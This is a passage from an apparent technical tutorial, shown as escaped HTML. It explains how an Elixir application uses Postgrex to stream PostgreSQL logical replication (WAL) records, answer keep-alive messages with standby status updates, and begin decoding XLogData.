&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;auto_reconnect: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex.ReplicationConnection&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;__MODULE__&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;extra_opts&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;++&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;config&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex.ReplicationConnection&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;messages: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;relations: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex.ReplicationConnection&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_connect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;      START_REPLICATION SLOT wal_listener
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;      LOGICAL 0/0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;      (proto_version &amp;#39;1&amp;#39;, publication_names &amp;#39;wal_listener_publication&amp;#39;)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;      &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;debug&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:stream&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, what happens here?&lt;/p&gt;
&lt;p&gt;First, we pull in all the nitty-gritty low-level logic necessary to connect, reconnect, query, and stream from Postgres with just one line:&lt;/p&gt;
&lt;pre id=&quot;code-block-13&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex.ReplicationConnection&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we define the &lt;code&gt;start_link/1&lt;/code&gt; function to start the listener. We pull in the already existing database configuration from our Repo with &lt;code&gt;Wal.Repo.config()&lt;/code&gt;. This allows us to connect the WAL listener to our application database without having to duplicate the connection configuration but you could also provide your own connection details.&lt;/p&gt;
&lt;p&gt;We add the extra option &lt;code&gt;auto_reconnect: true&lt;/code&gt; to instruct Postgrex to automatically reconnect our ReplicationConnection. And lastly, we call the &lt;code&gt;start_link/3&lt;/code&gt; function on &lt;code&gt;Postgrex.ReplicationConnection&lt;/code&gt; which uses &lt;code&gt;:gen_statem&lt;/code&gt; and the &lt;code&gt;Postgrex.Protocol&lt;/code&gt; to create a database connection for us.&lt;/p&gt;
&lt;p&gt;Now that we defined how to start the listener, we must implement the &lt;code&gt;init/1&lt;/code&gt; callback. It simply returns our initial state with is &lt;code&gt;%&amp;lbrace;messages: [], relations: %&amp;lbrace;&amp;rbrace;&amp;rbrace;&lt;/code&gt;. The &lt;code&gt;messages&lt;/code&gt; list will hold the WAL messages we receive from Postgres until we can handle them and the &lt;code&gt;relations&lt;/code&gt; map will hold information about the tables in which the WAL changes occurred. But more about these later.&lt;/p&gt;
&lt;p&gt;Lastly, we implement one optional callback &lt;code&gt;handle_connect/1&lt;/code&gt;. This callback allows us to send a query to Postgres after the database connection was established.&lt;/p&gt;
&lt;pre id=&quot;code-block-14&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;START_REPLICATION SLOT wal_listener
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    LOGICAL 0&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;0
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;proto_version &amp;#39;1&amp;#39;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; publication_names &amp;#39;wal_listener_publication&amp;#39;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this query, we tell Postgres that it can start sending the logical WAL records from the &lt;code&gt;wal_listener&lt;/code&gt; replication slot our way. We tell it to start at the Log Sequence Number (LSN) &lt;code&gt;0/0&lt;/code&gt;, which is the very first record ever recorded. This doesn&apos;t mean it will send us &lt;strong&gt;all&lt;/strong&gt; WAL records ever created though.&lt;/p&gt;
&lt;p&gt;Our replication slot starts tracking WAL records only after we create it and it doesn&apos;t backfill records that happened before. So, unless we create our replication slot before we store a single row, it will miss WAL records, just keep that in mind.&lt;/p&gt;
&lt;p&gt;Lastly, we provide the options &lt;code&gt;proto_version&lt;/code&gt; and &lt;code&gt;publication_name&lt;/code&gt;. The publication name is the publication we&apos;ve created before. As proto version, we use version &lt;code&gt;1&lt;/code&gt;. You can also use proto version &lt;a href=&quot;https://www.postgresql.org/docs/18/protocol-logical-replication.html#PROTOCOL-LOGICAL-REPLICATION-PARAMS&quot;&gt;2, 3, or 4&lt;/a&gt; which are useful if you have very large transactions or two-phase transactions.&lt;/p&gt;
&lt;p&gt;On proto version 1, Postgres will wait until very large transactions commit and only then send the WAL records, but in version 2 and 4, it will send the records while the transactions are still in progress, optionally in parallel on version 4. Version 3 supports &lt;a href=&quot;https://www.postgresql.org/docs/current/two-phase.html&quot;&gt;two-phase commits&lt;/a&gt;, which are useful to prepare and commit distributed transactions in multiple databases at once.&lt;/p&gt;
&lt;p&gt;If you need these advanced features, make sure to also add the &lt;code&gt;streaming &apos;on&apos; or &apos;parallel&apos;&lt;/code&gt; option for streaming in-progress transactions and the &lt;code&gt;two_phase TRUE&lt;/code&gt; options to the &lt;code&gt;START_REPLICATION&lt;/code&gt; query.&lt;/p&gt;
&lt;p&gt;Alright, now that we told Postgres to start sending WAL records our way, let&apos;s see how we can receive and decode the messages, starting with the keep-alive heartbeat.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#handling-heartbeats&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;handling-heartbeats&quot;&gt;&lt;/a&gt;Handling Heartbeats&lt;/h2&gt;
&lt;p&gt;If you look at the docs of &lt;a href=&quot;https://www.postgresql.org/docs/18/protocol-replication.html#PROTOCOL-REPLICATION-START-REPLICATION&quot;&gt;START_REPLICATION&lt;/a&gt;, you&apos;ll see that Postgres will send us two types of messages: &lt;code&gt;XLogData&lt;/code&gt; and the &lt;code&gt;Primary Keep-Alive Message&lt;/code&gt;. &lt;code&gt;XLogData&lt;/code&gt; contains the data of one logical WAL record in binary format. The &lt;code&gt;Primary Keep-Alive Message&lt;/code&gt; is a heartbeat from Postgres to our listener and has four purposes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It checks that our listener is still alive, hence the name. If our listener fails to respond, Postgres will close the connection.&lt;/li&gt;
&lt;li&gt;It tells the listener that our Postgres instance is still alive and our replication slot is active.&lt;/li&gt;
&lt;li&gt;It provides the LSN of the latest WAL record our replication slot has recorded.&lt;/li&gt;
&lt;li&gt;It gives the listener the opportunity to acknowledge the &lt;code&gt;XLogData&lt;/code&gt; messages it has received since the last keep-alive message by replying with a &lt;code&gt;Standby Status Update&lt;/code&gt; or &lt;code&gt;Hot Standby Feedback&lt;/code&gt; message.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let&apos;s implement the last step, which is to receive and to reply to a keep-alive message.&lt;/p&gt;
&lt;p&gt;Here&apos;s how the listener handles this:&lt;/p&gt;
&lt;pre id=&quot;code-block-15&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Primary Keep Alive Message&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #79c0ff; text-decoration: underline;&quot;&gt;https://www.postgresql.org/docs/current/protocol-replication.html#PROTOCOL-REPLICATION-PRIMARY-KEEPALIVE-MESSAGE&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex.ReplicationConnection&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;?k&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;wal_end&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_server_time&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;should_reply&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;messages&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;should_reply&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# Standby Status Update&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #79c0ff; text-decoration: underline;&quot;&gt;https://www.postgresql.org/docs/current/protocol-replication.html#PROTOCOL-REPLICATION-STANDBY-STATUS-UPDATE&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;?r&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;wal_end&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;wal_end&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;wal_end&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;current_time&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;debug&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Responding to keep alive: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;should_reply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; - &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;messages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;messages&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our &lt;code&gt;handle_data/2&lt;/code&gt; callback receives both the keep-alive and &lt;code&gt;XLogData&lt;/code&gt; messages. Here, we match against the keep-alive message which starts with the character &lt;code&gt;k&lt;/code&gt;. After the identifier, we receive the latest LSN our replication slot has recorded, the server time, and a one byte flag &lt;code&gt;should_reply&lt;/code&gt; which Postgres might set if it wants to know that our listener is still active.&lt;/p&gt;
&lt;p&gt;If we should reply, we respond with a &lt;code&gt;Standby Status Update&lt;/code&gt; message. This message starts with an &lt;code&gt;r&lt;/code&gt; as identifier, followed by the LSN of the last message that we have received and written to disk (first LSN), that we have flushed to disk (second LSN), and that we have applied (third LSN). In this case, we are not too sensitive about losing messages, which is why we simply return the last LSN from the server three times, assuming that we have received and processed all messages it has sent to us successfully.&lt;/p&gt;
&lt;p&gt;However, if we wanted to be absolutely sure that we never lose a message, we could track which messages we wrote to a buffer (first LSN), which messages we flushed from the buffer to disk or other persistence method (second LSN) and which messages we applied to our database or other state (third LSN). Postgres will consider a message &lt;code&gt;acknowledged&lt;/code&gt; only after we mark it as &quot;applied&quot;. We usually don&apos;t need this level of detail but it&apos;s good to know about.&lt;/p&gt;
&lt;p&gt;We respond with the simplified &lt;code&gt;Standby Status Update&lt;/code&gt; message, but we could also have sent a &lt;code&gt;Hot Standby Feedback Message&lt;/code&gt;. The difference between &lt;code&gt;Standby&lt;/code&gt; and &lt;code&gt;Hot Standby&lt;/code&gt; is that Hot Standbys run queries against their state and these queries might touch records that have been deleted on the primary but are still needed on the Hot Standby. For example, imagine that your listener receives the &lt;code&gt;INSERT&lt;/code&gt; message for a record, adds it to its state, and then runs a query against that state. Now, if Postgres sends us a &lt;code&gt;DELETE&lt;/code&gt; message for that record before our query completes, the listener cannot apply that message until the query completes. Otherwise, it would &quot;pull the rug&quot; from underneath the query so to speak.&lt;/p&gt;
&lt;p&gt;So, the listener buffers the message and waits for the query to complete. While it is waiting, it would reply to Postgres with a &lt;code&gt;Hot Standby Feedback Message&lt;/code&gt; that tells Postgres &lt;em&gt;&quot;Hey, hang on a sec. I first gotta finish this work before I can acknowledge all the new messages you&apos;ve sent me&quot;&lt;/em&gt;. Postgres would then keep the WAL records that it has sent until the listener sends a regular &lt;code&gt;Standby Status Update&lt;/code&gt; which acknowledges the old WAL records. Again, you probably won&apos;t ever need to send a &lt;code&gt;Hot Standby Feedback Message&lt;/code&gt;, but it&apos;s good to know about.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#decoding-messages&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;decoding-messages&quot;&gt;&lt;/a&gt;Decoding Messages&lt;/h2&gt;
&lt;p&gt;Now that we can receive and respond to keep-alive messages, let&apos;s see how our listener can receive and decode the logical WAL records received as &lt;code&gt;XLogData&lt;/code&gt; messages.&lt;/p&gt;
&lt;p&gt;First, we need to create a second &lt;code&gt;handle_data/2&lt;/code&gt; function which matches against the &lt;code&gt;XLogData&lt;/code&gt; format:&lt;/p&gt;
&lt;pre id=&quot;code-block-16&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# XLogData&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;color: #79c0ff; text-decoration: underline;&quot;&gt;https://www.postgresql.org/docs/current/protocol-replication.html#PROTOCOL-REPLICATION-STANDBY-STATUS-UPDATE&lt;/span&gt;
